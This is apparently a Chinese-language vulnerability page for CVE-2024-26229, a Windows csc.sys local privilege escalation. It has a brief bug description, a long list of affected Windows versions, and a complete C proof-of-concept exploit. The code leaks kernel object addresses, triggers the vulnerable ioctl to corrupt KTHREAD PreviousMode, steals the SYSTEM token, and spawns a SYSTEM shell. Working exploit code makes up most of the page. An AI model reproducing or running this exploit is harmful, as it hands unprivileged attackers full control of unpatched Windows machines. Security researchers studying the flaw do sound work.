Windows CSC服务提权-Trojan

漏洞描述

当程序向缓冲区写入的数据超出其处理能力时就会发生基于堆的缓冲区溢出从而导致多余的数据溢出到相邻的内存区域这种溢出会损坏内存并可能使攻击者能够执行任意代码或未经授权访问系统本质上攻击者可以编写触发溢出的恶意代码或输入从而控制受影响的系统执行任意命令安装恶意软件或访问敏感数据

影响范围

Windows Server 2022, 23H2 Edition (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 11 Version 23H2 for x64-based Systems
Windows 11 Version 23H2 for ARM64-based Systems
Windows 10 Version 22H2 for 32-bit Systems
Windows 10 Version 22H2 for ARM64-based Systems
Windows 10 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for ARM64-based Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 version 21H2 for ARM64-based Systems
Windows 11 version 21H2 for x64-based Systems
Windows Server 2012 R2 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

poc exp

#/* 
				PoC Info
-------------------------------------------
Vulnerability:	CVE-2024-26229
Environment:	Windows 11 22h2 Build 22621
-------------------------------------------
*/
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>

// I use ntdllp.lib private library from VS SDK to avoid GetProcAddress for Nt* functions
#pragma comment(lib, "ntdllp.lib")
#define STATUS_SUCCESS 0

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET			0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET	0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE    0x001401a3 // vuln ioctl

#define SystemHandleInformation			0x10
#define SystemHandleInformationSize		0x400000 

enum _MODE
{
    KernelMode = 0,
	UserMode = 1
};

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


//
// Get the kernel object pointer for the specific process by it's handle
// 
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
	int32_t Ret = -1;
	PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
	ULONG ulBytes = 0;
	NTSTATUS Status = STATUS_SUCCESS;

    //
    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
    //
	while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
	{
		if (pHandleInfo != NULL)
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
		}

		else
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
		}
	}

	if (Status != NULL)
	{
		Ret = Status;
		goto done;
	}

	for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
	{
		if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
		{
			*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
			Ret = 0;
			break;
		}
	}

	done:
	if (pHandleInfo != NULL)
	{
		HeapFree(GetProcessHeap, 0, pHandleInfo);
	}
	return Ret;
}

//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
	NTSTATUS Status = 0;
	size_t cbNumOfBytesWrite = 0;

	Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
	if (!NT_SUCCESS(Status)) 
    {
		return -1;
	}
	return Status;
}

//
//
//
NTSTATUS Exploit()
{
	UNICODE_STRING  objectName = { 0 };
	OBJECT_ATTRIBUTES objectAttr = { 0 };
	IO_STATUS_BLOCK iosb = { 0 };
	HANDLE handle;
	NTSTATUS status = 0;

	//
	// Initialize kernel objects to leak
	//
	uintptr_t Sysproc = 0;
	uintptr_t Curproc = 0;
	uintptr_t Curthread = 0;
	uintptr_t Token = 0;

	HANDLE hCurproc = 0;
	HANDLE hThread = 0;
	uint32_t Ret = 0;
	uint8_t mode = UserMode;

	RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
	InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
	
	status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
	if (!NT_SUCCESS(status))
	{
		printf("[-] NtCreateFile failed with status = %x\n", status);
		return status;
	}

	//
	// Leak System _EPROCESS kernel address
	// 
	Ret = GetObjPtr(&Sysproc, 4, 4);
	if (Ret != NULL)
	{
		return Ret;
	}
	printf("[+] System EPROCESS address = %llx\n", Sysproc);

	//
	// Leak current _KTHREAD kernel address
	//
	hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
	if (hThread != NULL)
	{
		Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
		if (Ret != NULL)
		{
			return Ret;
		}
		printf("[+] Current THREAD address = %llx\n", Curthread);
	}

	//
	// Leak current _EPROCESS kernel address
	//
	hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
	if (hCurproc != NULL)
	{
		Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
		if (Ret != NULL)
		{
			return Ret;
		}
		printf("[+] Current EPROCESS address = %llx\n", Curproc);
	}

	//
	// Sending the payload to the csc.sys driver to trigger the bug
	//
	status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
	if (!NT_SUCCESS(status))
	{
		printf("[-] NtFsControlFile failed with status = %x\n", status);
		return status;
	}

	printf("[!] Leveraging DKOM to achieve LPE\n");
	printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
	
	Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

	//
	// Restoring KTHREAD->PreviousMode
	//
	Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

	//
	// spawn the shell with "nt authority\system"
	//

	system("cmd.exe");

	return STATUS_SUCCESS;
}


int main()
{
	NTSTATUS status = 0;
	status = Exploit();

	return status;
}

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THE END

漏洞信息
# windows权限提升